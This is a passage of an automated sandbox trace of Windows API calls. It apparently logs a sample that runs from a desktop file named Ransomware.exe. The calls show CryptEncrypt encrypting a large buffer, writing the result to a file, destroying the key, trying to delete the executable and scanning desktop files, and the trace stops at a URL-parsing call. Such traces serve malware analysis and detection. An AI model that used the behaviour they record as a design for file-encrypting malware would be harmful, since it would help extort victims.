nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xb800, lpOverlapped=0x0) returned 1 [0076.443] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0076.648] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.661] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0076.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.841] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0076.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.841] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0076.842] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.842] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.842] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.842] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0076.842] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0076.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0076.843] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0076.843] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629380, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629380*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0076.843] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.843] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0076.844] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.844] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.844] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.844] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0076.844] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.845] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0076.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0076.857] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0076.857] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdb800, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xdb810) returned 1 [0076.857] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.857] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.857] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.857] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.857] CharLowerBuffW (in: lpsz="byte[899089]", cchLength=0xc | out: lpsz="byte[899089]") returned 0xc [0076.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.930] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.943] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0076.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621930, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0076.943] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0076.944] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53f2020*, pdwDataLen=0x130e618*=0xdb800, dwBufLen=0xdb810 | out: pbData=0x53f2020*, pdwDataLen=0x130e618*=0xdb810) returned 1 [0076.945] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.945] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.945] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.034] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.035] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.035] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.035] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.035] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.035] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.035] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.035] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.035] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.035] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.035] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.035] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.035] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.188] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0077.188] TranslateMessage (lpMsg=0x130f164) returned 0 [0077.188] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0077.188] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0077.192] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0077.192] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0077.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.206] WriteFile (in: hFile=0x3d8, lpBuffer=0x5226020*, nNumberOfBytesToWrite=0xdb810, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x5226020*, lpNumberOfBytesWritten=0x130f01c*=0xdb810, lpOverlapped=0x0) returned 1 [0077.230] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.231] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0077.231] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.231] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.231] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0077.231] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0077.231] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0077.232] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0077.232] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.232] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.232] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.232] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.233] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.233] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.233] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.233] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0077.233] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.233] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.233] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.234] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.234] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.234] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.234] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.234] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.234] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.234] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.234] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.234] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.234] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.234] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.234] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.235] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0077.235] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0077.235] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0077.235] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.235] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.235] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.235] FreeLibrary (hLibModule=0x74c60000) returned 1 [0077.235] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.235] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.236] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.236] CloseHandle (hObject=0x3c8) returned 1 [0077.236] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.236] CloseHandle (hObject=0x3d8) returned 1 [0077.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.282] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.282] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x0) returned 0x2c [0077.282] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe")) returned 0x20 [0077.282] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0077.283] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe")) returned 0 [0077.283] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0077.283] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.283] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.283] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.283] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.283] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0077.284] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0077.284] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.284] InternetCrackUrlW (in: 